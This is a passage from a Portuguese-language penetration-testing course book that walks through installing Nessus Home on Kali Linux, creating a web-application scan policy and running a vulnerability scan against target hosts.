scanner realiza uma série de verificações para detectar problemas conhecidos. Você pode
encontrar diversos livros, postagens e treinamentos do Nessus, e quanto mais você fica
familiarizado com a ferramenta, você começará a perceber o que realmente funciona
melhor para você. Veremos a seguir uma ideia superficial sobre esta ferramenta. Nessus está
disponível com uma versão profissional paga que os pentesters e times de segurança
internos podem usar para escanear redes por vulnerabilidades. Você pode usar a versão
gratuita, não comercial chamada Nessus Home para conhecer um pouco sobre a ferramenta.
Esta versão é limitada a escanear até 16 endereços IP.

Apesar do Kali ter diversas ferramentas, precisamos instalar o Nessus. Veja os passos para
instalar:

 Abra o navegador e acesse a URL (http://www.tenable.com/products/nessus-


home/). Complete o registro em “Register for an Activation Code” e depois clique em
“Register” para receber o código de ativação por e-mail.
 Após isto, aparecerá um botão para a página de Download. Escolha a última versão
de acordo com o seu sistema operacional e salve-o.
 Abra o terminal do Linux.
 Vá até a pasta de “Downloads” e entre com o comando ls para ver a lista de arquivos
da pasta. Você poderá ver o arquivo do Nessus que acabou de fazer o download.
 Entre com o comando dpkg -i seguido do nome do arquivo baixado (você pode
digitar as primeiras letras do nome do arquivo e apertar em TAB para autocompletar)
e pressione ENTER para começar o processo de instalação. Isto pode demorar um
pouco.
 Quando retornar para o prompt do root sem erros, o Nessus poderá ser instalado e
você poderá ver uma mensagem como na figura de instalação.

26
Figura 11 Instalando no Kali

 Agora entre com o comando /etc/init.d/nessusd start


 Abra o endereço https://localhost:8834/ no navegador. Você verá um aviso do
certificado SSL semelhante a imagem a seguir.

27
 Basta clicar em “Advanced” e depois em “Add Exception…“. Na janela que vai abrir,
clique em “Confirm Security Exception“. Com isto, você conseguirá acessar o Nessus.
 Dentro do Nessus, você irá configurar sua conta de acesso (usuário e senha).
 Na tela seguinte, coloque o “Activation Code” que você recebeu por e-mail.
 Quando continuar, o Nessus vai começar a fazer o download dos plugins e pode
demorar um pouco.

28
 Após isto ele vai iniciar normalmente e aparecerá a tela de login. Utilize o usuário e
senha que acabou de criar.
 Se você quiser fechar o Nessus, basta fechar a aba do navegador que ele está aberto.

Iniciando o serviço

Antes de rodar o Nessus, você precisa iniciar o daemon do Nessus. Para isto, execute o
comando do serviço para inicia-lo na porta TCP 8834 em seu Kali.

root@kali:~# service nessusd start

Agora abra o navegador e acesse o endereço https://kali:8834. Depois de uns minutos de


inicialização, você deve ver uma tela de login. Utilize as credenciais utilizadas na instalação.

29
Figura 12 Tela de Login do Nessus

Políticas do Nessus

A interface web do Nessus tem diversas abas no topo da tela, como mostrado na figura
abaixo. Vamos iniciar com a aba de Políticas (Policies). Políticas do Nessus são como arquivos
de configurações que dizem ao Nessus como as vulnerabilidades serão verificadas, portas
escaneadas, e então rodar o scanner de vulnerabilidades.

Para crair uma política, clique em New Policy do lado esquerdo da tela. O wizard de políticas
do Nessus ajudará a criar uma política que será útil para escanear seus objetivos, como
mostrado abaixo. Neste exemplo, vamos escolher a opção Web Application Test.

30
Figura 13 Tela – New Policy

Agora você precisa incluir algumas informações básicas sobre a política, como mostrada na
figura abaixo, incluindo o nome, a descrição e quais outros usuários do Nessus poderão
acessar a política. Outros detalhes que podem ser definidos são Discovery (descoberta e
scan de portas), Assessment (verificar vulnerabilidades web), Report (tratamento das
informações para relatório) e Advanced (conexões executadas).

Se você tiver credenciais, Nessus pode se autenticar nos hosts e procurar por
vulnerabilidades que podem não ser aparentes de uma perspectiva vista pela rede. Esta
funcionalidade é sempre usada por times de segurança internos para testar a postura de
segurança de suas redes. Você pode definir estas credenciais na aba Credentials. Por
enquanto, você pode deixar isto em branco e clicar em Save.

Como mostrado abaixo, nossa nova política é exibida na tela Policies.

31
Figura 14 Lista com Website Policy

Escaneando com o Nessus

Agora, vamos trocar para a aba Scans e rodar o Nessus contra nossas máquinas alvos. Clique
em Scans > New Scan, e depois clique em User. Veja que sua política vai estar listada.
Selecione ela.

Figura 15 Scan - Política Websites

Preencha com as informação do scan. Nessus precisa de um nome (Name) para nosso scan e
qual sistema (Targets) iremos escanear.

32
Figura 16 New Scan Website

Nessus roda uma série de exames contra o alvo em uma tentativa de detectar ou
desconsiderar quanto mais problemas forem possíveis. O scan executado é adicionado a aba
Scans.

Figura 17 Scan - Lista

Uma vez finalizado o scan, clique no item para ver o resultado.

Nessus poderá encontrar algumas vulnerabilidades críticas, altas, médias e baixas na


máquina alvo. Também é possível que ele só encontre dados informacionais. Para ver
detalhes sobre um host específico, clique nele. Os detalhes das vulnerabilidades poderão ser
visto.

33
Este material faz parte do livro “Teste de Invasão em Redes e Sistemas” e está disponível na
disciplina de mesmo nome em nossa Pós-graduação em Ethical Hacking e CyberSecurity. Foi
escrito pelo nosso Prof. Esp. Diego Macêdo. Você pode saber mais sobre a pós entrando em
contato por e-mail: contato@uniciv.com.br ou telefone: 0800 006 4224

34

Você também pode gostar